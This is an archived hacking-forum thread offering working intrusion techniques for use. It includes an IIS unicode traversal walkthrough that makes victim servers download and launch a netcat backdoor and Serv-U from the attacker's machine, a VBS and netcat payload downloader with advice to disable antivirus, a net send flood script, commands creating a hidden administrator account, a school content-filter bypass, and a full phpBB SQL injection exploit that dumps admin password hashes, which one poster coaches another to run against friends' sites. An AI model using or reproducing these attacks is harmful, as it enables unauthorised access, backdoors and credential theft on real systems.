Ok im assuming you have a host that you can maybe get away with uploading files to.. and i say this because some networks
are behind firewalls that dont allow TFTP to connect to outside host and estabish a connection. Thus even though
you can use the unicode exploit on it to view all the files still doesnt mean you can upload files to it..
PLus some host administrators make it so that you cant write to the HD... GOOD LUCk THERE



Starting To THE HACK

FIRST BEFORE YOU DO THIS BE SURE TO USE A PROXY !!!!!!!!!!!!!!!!

The Right Side, You Should Be At A Directory Listing In Internet Explorer.The Dir Should Look Like This :

h**p://xxx.xxx.xxx.xx/scripts/..%%3...32/cmd.exe?/c+d ir+c:\ <----- This line will vary


Directory of c:\

07/17/02 12:17a 1,000,000 ---=1Mb=---
05/03/02 08:57a 0 AUTOEXEC.BAT
05/03/02 08:54a 0 AUTOEXEC.CAM
06/01/01 09:09a 0 CONFIG.SYS
12/26/01 12:46p <DIR> Desktop
06/01/01 02:20p <DIR> I386
07/08/02 02:52p <DIR> intepub
06/01/01 02:49p <DIR> NIC
12/23/01 08:32p <DIR> NIMDA TO
12/23/01 08:32p <DIR> Nimda Tool
07/17/02 05:56p 65,634,304 pagefile.sys
01/04/02 04:31p <DIR> Program Files
07/17/02 12:14a <DIR> TEMP
06/05/01 05:01p <DIR> temptape
06/01/01 04:53p <DIR> Video
12/23/01 09:53p <DIR> Windows Update Setup Files
07/17/02 05:50p <DIR> WINNT
19 File 72,687,972 bytes
480,750,592 bytes free





Ok you get the idea of what your browser looks like because your experienced but you are clueless about this pub crap
Now then you will need to start and run TFTP SERVER making sure you arent running and firewall because it will block
your request.Now we will need to send the files through the TFTP Server to the host. And to do this you do something like



h**p://xxx.xxx.xxx.xx/scripts/..%%3...32/cmd.exe?/c+c :\winnt\system32\tftp.exe+"-i"+YourIPHere+get+ServUDaemon.exe+c:\WINNT\Serv UDaemon.exe

Now then you arent limited to just 1 dir to install this server to.. i like to hide mine in the c:\winnt\system but some people use the c:\intepub\scripts

h**p://xxx.xxx.xxx.xx/scripts/..%%3...32/cmd.exe?/c+c :\winnt\system32\tftp.exe+"-i"+YourIPHere+get+ServUDaemon.exe+c:\WINNT\Serv UDaemon.exe

So then you would copy the above line into the Internet Explorer And Hit Enter, Look At Your TFTPSuitePro Window
And u Should See Its Uploading A File. NOTE SOMETIMES you get an error msg just refresh the page or..copy into another window and try again
remember sometimes you get this msg because the host cant connect properly to you..


Repeat for the following files:

SFIND.exe -------> used to scan for more.. servers
KILL.EXE -------> used to kill a task very handy
TLIST.EXE -------> used to list all running processes or Task List
ncx99.exe -------> used to have as a backdoor remote trojan that runs on port 99
iis-scanner.EXE great for scanning servers
servudaemon.ini needed for servu



HOW THE UPLOAD FILES SHOULD LOOK gave 2 examples

h**p://www.target.com/scripts/..%25...md.exe?/c+tftp+ -i+%20**.***.**.**+GET+ServUDaemon.ini+c:\winnt\system\ServUDaemon.ini

h**p://www.target.com/scripts/..%25...md.exe?/c+tftp+ -i+%20**.***.**.**+GET+ServUDaemon.exe+c:\winnt\system\ServUDaemon.exe

h**p://www.target.com/scripts/..%25...md.exe?/c+tftp+ -i+%20**.***.**.**+GET+ServUDaemon.ini+c:\inetpub\scripts\ServUDaemon.ini
h**p://www.target.com/scripts/..%25...md.exe?/c+tftp+ -i+%20**.***.**.**+GET+ServUDaemon.ini+c:\inetpub\scripts\ServUDaemon.exe

h**p://www.target.com/scripts/..%25...md.exe?/c+tftp+ -i+%20**.***.**.**+GET+TzoLibr.dll+c:\winnt\system\TzoLibr.dll

h**p://www.target.com/scripts/..%25...md.exe?/c+tftp+ -i+%20**.***.**.**+GET+ncx99.exe+c:\winnt\system\ncx99.exe

h**p://www.target.com/scripts/..%25...md.exe?/c+tftp+ -i+%20**.***.**.**+GET+bnc.cfg+c:\winnt\system\tlist.exe



EXCUTE PROGRAMS

h**p://www.target.com/scripts/..%25...md.exe?/c+call+ c:\winnt\system\ncx99.exe

h**p://www.target.com/scripts/..%25...md.exe?/c+start +c:\winnt\system\ncx99.exe

h**p://www.target.com/scripts/..%25...md.exe?/c+c:\nc x99.exe%20/h





After the file has been executed The Ftp Should Be Up!

Test It With The Server Ip/Port/L/p You Setup Back In Servu Ftp Settings.

If It Works You Now Have Complete Control Over The System!

Now then here is where the Serv U 4.0 comes in you may now use the admin program that comes with it so that you can

set up your server the way you want. You have Admin rights



Other Shit How To Use 'Kill' And 'Tlist' and 'ncx99.exe'


Tlist = Lists All Running Programs On Remote Machine
Kill = Kills Ones U Specicify
ncx99.exe = Dos like trojan

How to use ncx99

C:\>telnet host 99


Then once you connect to your server you will see dos like enviroment so find where you uploaded tlist.exe and execute it

c:\> cd winnt
c:\>winnt\ cd system
c:\>winnt\system\tlist.exe

Tlist is good when you have ncx99.exe installed so its easier to just call it up
c:\>winnt\system\tlist.exe

-2 Idle.exe
4 System.exe
840 smss.exe
948 csrss.exe
972 winlogon.exe NetDDE Agent
1016 services.exe
1028 lsass.exe
1216 svchost.exe
1364 svchost.exe
1500 svchost.exe
1636 svchost.exe
1820 spoolsv.exe
1952 CTSVCCDA.exe
1988 mdm.exe
2024 DUC20.exe Duc20
408 MsPMSPSv.exe
3024 svchost.exe
360 explorer.exe Program Manager
3496 ctfmon.exe CiceroUIWndFrame
3068 WinCinemaMgr.exe InterVideo WinCinema Manager
1124 evntsvc.exe Notification Wnd for RNAdmin
1568 msmsgs.exe DDE Server Window
2664 iis-scanner.exe Notification Window
2172 r_server.exe
3712 daemon.exe
2800 cmd.exe Command Prompt
3880 TLIST.exe
-2 _Total.exe




now then to kill it there are two ways i will show you the first is from within the nxc99.exe because its best

just look at the tlist.exe list and find the system process you want to kill

now from the same dir that you installed kill run kill and

for me it would be

c:\>winnt\system\kill.exe


now then lets say i wanted to close explorer.exe i look at the tlist and see that '360 explorer.exe' Program Manager

360 is the process id that you will use to close down Explorer.exe so you call it like this

c:\>winnt\system\kill.exe 360

do another tlist.exe and you will no longer see explorer.exe there

the other way to do this is to use the url

h**p://www.target.com/scripts/..%25...md.exe?/c+start +c:\winnt\system\kill.exe?number

where number is again from the tlist.exe

so to kill explorer.exe we do something like this

h**p://www.target.com/scripts/..%25...md.exe?/c+start +c:\winnt\system\kill.exe?360

and it should say killed.
KuerbY
fxp crap i hate it sad.gif
anyway i think everybody in here knows about iis hacking...
Apok^
K, it has been a while, but I can remember this

some fun stuff to do in a lab:

shutdown -s -m \\[computer] (shuts down computer)

shutdown -a -m \\[computer] (aborts shutdown)



open a .txt file

type in this EXACTLY
----------------------
:a
net send [username....blabla, type net send /? for more] "message"
goto a



----------------------
rename the file to a .bat instead of .txt
it will net send them to death biggrin.gif
globey
by diablohorn

********************************************************************************
**
*Tutorial on getting the stuff on a stro when the machine has got no TFTP or FTP.*
*Tutorial Written By: DiabloHorn *
*Comment: This is intended mostly for rehacking, sometimes for hacking new ones *
*Creditz: Kimatrix,www.google.com *
*COMMENT: This is mostly intended to only download wget.exe with it dont try to *
*download big things like serv-u *
********************************************************************************
**


Index

0) Opening Words
1) The Netcat Way
2) .vbs script
3) Greetz

********************************************************************************
**************************
* 0) Opening Words *
********************************************************************************
**************************
Hmm what shall I say this time?
O yeah I'm trying to improve my english hope you will read tut's of mine with perfect english on it
pretty impossible but I'll try.
Well about the tutorial you are about to read, this tutorial is ment for when you are on a machine
you've got a shell but when typing the command tftp or ftp to get the files on it , it returns:

"ftp" Command not recognized or some similar error.

if that error sounds familiar then this tutorial might be for you.
I say might because if telnet is also deactivated then well to bad.
Hope you all still awake so read on and get started.

********************************************************************************
**************************
* 1) The Netcat Way *
********************************************************************************
**************************
Sub-Index

1) Purpose
2) Tools Needed
3) HowTo

1) Purpose

Using 2 netcat's to retrieve a file

2) Tools Needed

- a Shell
- 2 Netcat's
- File 2 Transfer

3) HowTo

Fire up netcat on your machine like this:

nc.exe -l -p 4455 -u -vvv < file.exe

When done fire up netcat on the hacked machine like this:

nc.exe -u host port > outputfile.exe

When this is done therewill be a connection but nothing will be sent until you send a charachter from
own machine to the hacked one so just type something "a" would be enough and hit enter.
Now the stupid part with this you have no idea how long it will take so I suggest you DON'T
transfer serv-u with this, but rather a thing like wget.exe and then just download the stuff from the web.
This is tested locally and remote with normal acces to the shell so just tweak it until it works for you.



********************************************************************************
**************************
* 2) .vbs script *
********************************************************************************
**************************
Sub-Index

1) Purpose
2) Tools Needed
3) HowTo


1) Purpose

this is ment to make a .vbs executable script that downloads a file from the web.
similar to wget but doesn't need to be uploaded also works when tftp and ftp and net commands
are disabled.


2) Tools Needed

- a Shell
- a commandline editor
- if no commandline editor availible the ""echo" command

3) HowTo

first of all make shure any anti-virus is disabled because a .vbs file sometimes get caught
by antivirus programs.

First I'll discuss the commandline editor option
then I'll discuss the echo option

########Commandline editor option####################

firt of all go to the directory you want the file to be downloaded to in example:

///////////////
cd c:\Recycler/
///////////////

when done do this:

/////////////////
copy con get.vbs/
/////////////////

when this is done you can inmediatly start typping text so let's type the following things

//////////////////////////////////////////////////////////////////////////////////////////
Dim DataBin /
Dim HTTPGET /
Set HTTPGET = CreateObject("Microsoft.XMLHTTP") /
HTTPGET.Open "GET", "http://www.samplesite.com/file.exe", False /
HTTPGET.Send /
DataBin = HTTPGET.ResponseBody /
Const adTypeBinary=1 /
Const adSaveCreateOverWrite=2 /
Dim SendBinary /
Set SendBinary = CreateObject("ADODB.Stream") /
SendBinary.Type = adTypeBinary /
SendBinary.Open /
SendBinary.Write DataBin /
SendBinary.SaveToFile "c:\file.exe", adSaveCreateOverWrite /
//////////////////////////////////////////////////////////////////////////////////////////

Things you MUST change in the above code:

////////////////////////////////////////////////////////////////////////////
HTTPGET.Open "GET", "http://www.samplesite.com/file.exe", False /
/
Change that to the place where you're OWN .exe file is located /
/
SendBinary.SaveToFile "c:\file.exe", adSaveCreateOverWrite /
/
Change that to the name of the .exe file you want to have and it's location/
////////////////////////////////////////////////////////////////////////////

When done typing the above just save the file by pressing CTRL+Z when the file is saved
just execute it like a normal .exe and wait till the file is downloaded.

########ECHO option####################

////////////////////////////////////////////////////////////////////////////////////////////
echo Dim DataBin >c:\recycler\get.vbs /
echo Dim HTTPGET >>c:\recycler\get.vbs /
echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP") >>c:\recycler\get.vbs /
echo HTTPGET.Open "GET", "http://www.samplesite.com/file.exe", False >>c:\recycler\get.vbs /
echo HTTPGET.Send >>c:\recycler\get.vbs /
echo DataBin = HTTPGET.ResponseBody >>c:\recycler\get.vbs /
echo Const adTypeBinary=1 >>c:\recycler\get.vbs /
echo Const adSaveCreateOverWrite=2 >>c:\recycler\get.vbs /
echo Dim SendBinary >>c:\recycler\get.vbs /
echo Set SendBinary = CreateObject("ADODB.Stream") >>c:\recycler\get.vbs /
echo SendBinary.Type = adTypeBinary >>c:\recycler\get.vbs /
echo SendBinary.Open >>c:\recycler\get.vbs /
echo SendBinary.Write DataBin >>c:\recycler\get.vbs /
echo SendBinary.SaveToFile "c:\file.exe", adSaveCreateOverWrite >>c:\recycler\get.vbs /
////////////////////////////////////////////////////////////////////////////////////////////

Things you MUST change in the above code:

////////////////////////////////////////////////////////////////////////////
HTTPGET.Open "GET", "http://www.samplesite.com/file.exe", False /
/
Change that to the place where you're OWN .exe file is located /
/
SendBinary.SaveToFile "c:\file.exe", adSaveCreateOverWrite /
/
Change that to the name of the .exe file you want to have and it's location/
////////////////////////////////////////////////////////////////////////////

When done just execute like normal .exe and wait till the file is downloaded.

********************************************************************************
**************************
* 3) Greetz *
********************************************************************************
**************************


To the wonderfull world of internet and Kimatrix for helping me on testing the netcat things.

Hack it all just don't break it all.

Also want to say thx to all the peeps on NFE who gave me a nice place to learn in a quick way
new things and help other peeps out with my knowlegde.
wambari
Bypass school web content filter:

Most of these run on the school proxy server,here's how to bypass,result,unlimited and unrestricted internet access,multimedia download,.exe's etc.

Step1:
-Collect External Ip address of school's DNS server (nothing a little social engineering can't solve).
-Get the internal ip address of school proxy server (you can get this from the internet connection settings of your browser under proxy servers).

Step2:
-Get admin priviledges on client (need this to change ip settings on machine)

Step3:
-Edit the TCP/IP connection gateway of your LAN by getting into the advanced option and adding a default gateway,set this to the ip address of the proxy server obtained in step1 above.

Step4:
-Under TCP/IP Properties again,set the Preffered DNS server to the external DNS ip obtained in Step1.

Step5:
-Remove the proxy settings on the browser by selecting the 'directly connected to internet' option.

Step6:
-Fire up the browser and surf!

Enjoy.

wambari

IcedOut3E
Maybe just a quick addition to the bypassing school filter.

Depending on how good the schools proxy is, you can usually just use a free proxy based anonymous browsing site for any websites that block you out.

I know I did it when I was in school

My school used "Bess" proxy server.
Vort3x
This topic serves as a reference to Web multimedia programs.

Emoticon WebsitesAdobe Photoshop 6+ Tutorials (6, 7)Macromedia Fireworks MX TutorialsMacromedia Flash 5+ Tutorials (5, MX, MX 2K4)
DarkJester
for those of you out there using the net user /add <user> <pass> thing to add accounts to xp machines (i say xp as ive only tested it on xp)
this may help you some what there is a reg key located at:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

if you add youre newley created account as a dword with a value of 0
it hides the account

example:

net user /add <user> <pass>
net localgroup /add Administrators <user>
echo REGEDIT4 >> user.reg
echo
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts] >> user.reg
echo
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList] >> user.reg
echo "<user>"=dword:00000000 >> user.reg
echo
regedit /s user.reg
del user.reg

would add a user <user> with the password <pass> to the system with admin rights it would also hide the user from the user accounts manger

only tetsed on windows xp home/pro sp0/sp1/sp2
im sure it would work for w2k and w2k3 though

this is my first post so please exuse any errors etc
[N0N4M3]
I love this !!!
Greetz for all and big smack smile.gif
Cordially NoName
Toasty
Hey all, forgive my n00bishness with all of this. (I've managed to get a few SQL injections made up but thats about as far as I go)

I've got 2 mates that I REALLY REALLY want to prank. They're both using phpnuke 7.4 and phpbb 2.0.6.

I've found these script things which seem to be really common, but I have no idea what to do with them . . .

QUOTE
#!/usr/bin/perl -w
use IO::Socket;
##    PROOF-OF-CONCEPT
##    * work only with mysql ver > 4.0
##    * work only with post #1
##
##    Example:
##    C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
##    [~] prepare to connect...
##    [+] connected
##    [~] prepare to send data...
##    [+] OK
##    [~] wait for response...
##    [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##
if (@ARGV < 4)
{
print "\n\n";
print "|****************************************************************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat
(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,11
7,108,
116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,
109,
97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,11
2,108,
105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50
,58,34)
,user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,10
5,58,48,
59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83
,67,34,
59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,5
8,54,
58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95
,99,
104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/*
HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&amp/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed =(\n";}
## o---[ RusH security team | www.rsteam.ru | 2003 ]---o
-




Can somebody write me a "mini tutorial" on what I should be doing?
Thanks!
bs_nbs
Hey Toasty..


Seems you've put your hands on a perl script wich exploits a vuln in the search.php of phpbb forums..

First up google "perl usage" so you get an idea on how to run the script.

Rest seems pretty obvious as most scripts (and so does this one) includes the usage..

print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";

As seen above, the code you've pasted here should be saved in a *.pl file which you would have found when googling smile.gif

What it does is open a connection on port 80 of the target , send some malformed code and prints the MD5 Hash of the user you requested... If everything went right that is...
Toasty
aaah ok thanks, yea I figured out saving it as a .pl file but big sirens went off and my antivirus went nuts so I figured better to ask before burrowing deeper. You've answered my question! Thanks! tongue.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.